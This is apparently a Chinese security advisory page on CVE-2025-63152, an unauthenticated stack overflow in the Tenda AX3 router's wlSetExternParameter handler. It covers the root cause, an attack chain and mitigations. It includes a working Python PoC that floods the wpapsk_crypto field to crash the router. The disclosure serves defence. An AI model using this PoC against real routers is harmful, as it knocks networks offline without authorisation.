IPBUF安全漏洞报告
English
CVE-2025-63152 CVSS 7.5 高危

CVE-2025-63152 Tenda AX3路由器wlSetExternParameter栈溢出漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-63152
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AX3 V16.03.12.10_CN

相关标签

栈溢出拒绝服务缓冲区溢出Tenda AX3路由器漏洞无需认证wlSetExternParameterCVE-2025-63152固件漏洞网络设备

漏洞概述

CVE-2025-63152是影响Tenda AX3路由器V16.03.12.10_CN固件版本的安全漏洞。该漏洞存在于wlSetExternParameter函数的wpapsk_crypto参数处理中,攻击者可通过发送精心构造的恶意请求触发栈溢出。Tenda AX3是一款广泛应用于家庭和小型办公环境的无线路由器设备,支持WiFi 6无线标准。由于该漏洞允许未经身份验证的远程攻击者通过发送特制的HTTP请求来利用,因此存在严重的安全风险。成功利用此漏洞可导致路由器服务中断,造成拒绝服务(DoS)状态,影响网络的正常运行。在某些情况下,栈溢出可能被进一步利用来执行任意代码,从而完全控制受影响的设备。考虑到该漏洞的网络可达性和无需认证即可利用的特性,建议受影响的用户立即采取缓解措施并关注厂商发布的安全更新。该漏洞的CVSS评分为7.5,属于高危级别漏洞,需要优先处理以防止潜在的安全事件发生。

技术细节

该漏洞的根本原因在于Tenda AX3 V16.03.12.10_CN固件中wlSetExternParameter函数对wpapsk_crypto参数的处理存在边界检查缺陷。当攻击者向路由器发送包含超长字符串的wpapsk_crypto参数时,函数未正确验证输入数据的长度,导致数据被写入栈缓冲区时超出预设边界。栈溢出会破坏相邻内存区域的数据结构,包括函数返回地址和保存的寄存器值。在正常程序执行流程中,当函数执行完毕后,处理器会根据栈中保存的返回地址跳转回调用者。然而,栈溢出修改了这些关键数据后,攻击者可以控制程序执行流程。在最佳情况下,这会导致程序崩溃并触发拒绝服务;在更严重的情况下,攻击者可能通过覆盖返回地址为恶意代码地址来实现代码执行。攻击者通常通过HTTP协议向路由器的Web管理接口发送恶意请求,由于该漏洞无需认证即可利用,因此大大降低了攻击门槛。路由器在处理无线网络配置参数时调用wlSetExternParameter,使得攻击者可以在配置WiFi设置时注入恶意payload。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Tenda AX3路由器,并确定其IP地址和Web管理接口的可用性。通过扫描发现运行V16.03.12.10_CN固件版本的设备。
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长字符串的HTTP POST请求,针对/goform/wlSetExternParameter端点,并在wpapsk_crypto参数中注入超过栈缓冲区容量的payload。
STEP 3
步骤3: 发送漏洞利用请求
攻击者通过HTTP协议向路由器的Web管理接口发送恶意请求。由于该漏洞无需认证,攻击者可以直接利用此漏洞,无需获取任何登录凭据。
STEP 4
步骤4: 触发栈溢出
路由器的wlSetExternParameter函数接收到恶意输入后,未进行边界检查直接将超长字符串写入固定大小的栈缓冲区,导致相邻内存区域被覆盖。
STEP 5
步骤5: 控制程序执行
栈溢出破坏了函数返回地址和栈帧数据。攻击者可以通过精心构造的payload覆盖返回地址,在函数返回时跳转到指定位置执行恶意代码或导致程序崩溃。
STEP 6
步骤6: 达成攻击目标
根据攻击者意图,可能导致路由器服务中断(DoS)或实现代码执行。DoS攻击会使路由器无响应,需要手动重启恢复;代码执行则可完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-63152 PoC - Tenda AX3 Stack Overflow in wlSetExternParameter # Target: Tenda AX3 V16.03.12.10_CN # Vulnerability: Stack overflow via wpapsk_crypto parameter # Impact: Denial of Service (DoS) def exploit_tenda_ax3(target_ip, target_port=80): """ Exploit stack overflow in Tenda AX3 wlSetExternParameter function Args: target_ip: Target router IP address target_port: Target router web interface port (default: 80) Returns: bool: True if exploit sent successfully, False otherwise """ url = f"http://{target_ip}:{target_port}/goform/wlSetExternParameter" # Generate payload with excessive length to trigger stack overflow # The wpapsk_crypto parameter is vulnerable to buffer overflow overflow_length = 1024 # Adjust based on actual buffer size payload = "A" * overflow_length # Construct POST data with malicious wpapsk_crypto parameter data = { "wpapsk_crypto": payload, "wireless_mode": "11ax", "channel": "auto", "band": "2.4G" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending exploit payload to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") # Verify if target is vulnerable by checking for DoS condition # Send follow-up request to confirm service disruption check_url = f"http://{target_ip}:{target_port}/" try: check_response = requests.get(check_url, timeout=5) print(f"[*] Target still responding (status: {check_response.status_code})") return True except requests.exceptions.RequestException: print(f"[!] Target appears to be down - DoS successful") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.0.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ax3(target, port)

影响范围

Tenda AX3 V16.03.12.10_CN

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)禁用路由器的远程管理功能,将Web管理界面限制在本地局域网内访问;2)在路由器前部署防火墙或入侵检测系统,过滤异常的HTTP请求;3)监控网络流量,对来自互联网的可疑请求进行阻断;4)如果不需要WiFi配置功能,可考虑暂时禁用相关服务;5)定期重启路由器以清除可能的恶意状态;6)关注Tenda官方安全公告,及时获取修复更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表